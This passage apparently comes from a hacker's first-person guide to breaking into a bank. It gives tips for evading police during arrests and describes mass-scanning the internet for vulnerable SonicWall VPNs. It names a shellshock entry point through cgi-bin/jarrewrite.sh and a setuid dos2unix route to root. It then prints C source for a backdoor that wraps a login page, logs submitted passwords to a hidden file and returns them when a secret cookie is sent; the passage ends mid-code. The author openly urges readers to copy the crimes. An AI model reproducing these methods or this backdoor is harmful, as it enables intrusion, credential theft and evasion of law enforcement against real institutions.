text
stringlengths
0
1.99k
________________________________________
/ If robbing a bank could change things, \
\ they’d make it illegal. /
----------------------------------------
\
\ ^__^
(oo)\_______
( (__)\ )\/\
_) / ||----w |
(.)/ || ||
*******
[3 - Be careful out there]
It is important to take some simple precautions. I will refer to this same section of my last guide [1], since it seems to work just fine [2]. All I have to add is that, in Trump's words, "Unless you catch hackers in the act, it is difficult to determine who was doing the hacking," so the police are getting more and more creative [3][4] in their attempts to grab criminals in the act (when their encrypted hard drives are unlocked). So it would be nice if for example you carry a certain bluetooth device and configure your computer to turn off when it moves beyond a certain range, or when an accelerometer detects movement, or something like that.
It may be that writing long articles detailing your actions and your ideology is not the safest thing in the world (oops!), but at times I feel I have to.
--------
If I didn't believe in who listens to me
If I didn't believe in what hurts
If I didn't believe in what's left
If I didn't believe in what I fought
What a thing ...
What was the club without a quarry?
--------
[1] https://www.exploit-db.com/papers/41914
[2] https://www.wifi-libre.com/topic-1268-italia-se-rinde-y-deja-de-buscar-a-phineas-fisher.html
[3] https://www.wired.com/2015/05/silk-road-2/
[4] https://motherboard.vice.com/en_us/article/59wwxx/fbi-airs-alexandre-cazes-alphabay-arrest-video
[[IMAGE REMOVED: ASCII ART OF SKELETON SAYING BE GAY, DO CRIMES IN SPANISH]]
Many blame queer people for the decline of this society;
we are proud of it
Some believe we want to reduce to ashes
this civilization and its moral fabric;
They couldn't be more right
They often describe us as depraved, decadent and revolting
But alas! They haven't seen anything yet
(https://theanarchistlibrary.org/library/mary-nardini-gang-be-gay-do-crime)
[4 - Get access]
In another place [1] I talked about the main ways to get initial access to a company's network during a targeted attack. However, this was not a targeted attack. I did not set out to hack a specific bank, what I wanted was to hack any bank, which ends up being a much simpler task. This type of nonspecific approach was popularized by Lulzsec and Anonymous [2]. As part of the earlier essay, I prepared an exploit and post-exploitation tools for a popular VPN device. Then I started scanning the entire internet with zmap and zgrab to identify other vulnerable devices [3]. I had the scanner save the vulnerable IPs, along with the common and alt names of the device's SSL certificate, the device's Windows domain names, and the reverse DNS lookup of the IP. I grepped the results for the word "bank", and there were plenty to choose from, but the truth is that I was attracted to the word "Cayman", and that's how I came to choose this one.
[1] https://www.exploit-db.com/papers/41914
[2] https://web.archive.org/web/20190329001614/http://infosuck.org/0x0098.png
[3] https://github.com/zmap/zmap
[4.1 - The Exploit]
When I published my latest DIY guide [1] I did not reveal the details of the sonicwall exploit that I had used to hack Hacking Team, as it was very useful for other hacks (such as this one) and I still had not finished having fun with it. Determined then to hack Hacking Team, I spent weeks reverse engineering their sonicwall ssl-vpn model, and even managed to find several memory corruption vulnerabilities that were more or less difficult to exploit, before I realized that the device was easily exploitable with shellshock [2]. When shellshock came out, many sonicwall devices were vulnerable, with only a request to cgi-bin/welcome and a payload in the user-agent. Dell released a security update and an advisory for these versions. The version used by Hacking Team and this bank had the vulnerable bash version, but the cgi requests did not trigger the shellshock- except for the requests to a shell script, and there was one accessible: cgi-bin/jarrewrite.sh. This seems to have escaped Dell's notice, since they never released a security update or an advisory for that version of the sonicwall. And, kindly, Dell had setuid’d root on dos2unix, leaving the device easy to root.
In my last guide many read that I spent weeks researching a device until I found an exploit, and assumed that it meant that I was some kind of elite hacker. The reality, that is, the fact that it took me two weeks to realize that it was trivially exploitable with shellshock, is perhaps less flattering to me, but I think it is also more inspiring. Shows that you can really do this for yourself. You don't need to be a genius, I certainly am not. Actually my work against Hacking Team started a year earlier. When I discovered Hacking Team and the Gamma Group in the CitizenLab investigations [3][4], I decided to explore a bit and see if I could find anything. I didn't get anywhere with Hacking Team, but I was lucky with Gamma Group, and I was able to hack their customer support portal with basic sql injection and file upload vulnerabilities [5][6]. However, although the customer support server gave me a pivot towards the internal network of Gamma Group, I was unable to penetrate further into the company. From this experience with the Gamma Group and other hacks, I realized that I was really limited by my lack of knowledge about privilege escalation and lateral movement in windows domains, active directory and windows in general. So I studied and practiced (see section 11), until I felt I was ready to pay a visit to Hacking Team almost a year later. The practice paid off, and this time I was able to make a complete commitment from the company [7]. Before I realized that I could enter with shellshock, I was willing to spend happy whole months of life studying exploit development and writing a reliable exploit for one of the memory corruption vulnerabilities I had encountered. I just knew that Hacking Team needed to be exposed, and that it would take me as much time as necessary and learn what I had to learn to get it. To perform these hacks you don't need to be bright. You don't even need great technical knowledge. You just need dedication, and believe in yourself.
[1] https://www.exploit-db.com/papers/41914
[2] https://es.wikipedia.org/wiki/Shellshock_(error_de_software)
[3] https://citizenlab.ca/tag/hacking-team/
[4] https://citizenlab.ca/tag/finfisher/
[5] https://theintercept.com/2014/08/07/leaked-files-german-spy-company-helped-bahrain-track-arab-spring-protesters/
[6] https://www.exploit-db.com/papers/41913
[7] https://web.archive.org/web/20150706095436/https://twitter.com/hackingteam
[4.2 - The Backdoor]
Part of the backdoor I prepared for Hacking Team (see the first footnote in section 6) was a simple wrapper on the login page to capture passwords:
```
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>
int main()
{
char buf[2048];
int nread, pfile;
/* pull the log if we send a special cookie */
char *cookies = getenv("HTTP_COOKIE");
if (cookies && strstr(cookies, "our private password")) {
write(1, "Content-type: text/plain\n\n", 26);
pfile = open("/tmp/.pfile", O_RDONLY);
while ((nread = read(pfile, buf, sizeof(buf))) > 0)
write(1, buf, nread);
exit(0);
}
/* the parent stores the POST data and sends it to the child, which is the actual login program */
int fd[2];
pipe(fd);
pfile = open("/tmp/.pfile", O_APPEND | O_CREAT | O_WRONLY, 0600);
if (fork()) {
close(fd[0]);
while ((nread = read(0, buf, sizeof(buf))) > 0) {
write(fd[1], buf, nread);
write(pfile, buf, nread);
}
write(pfile, "\n", 1);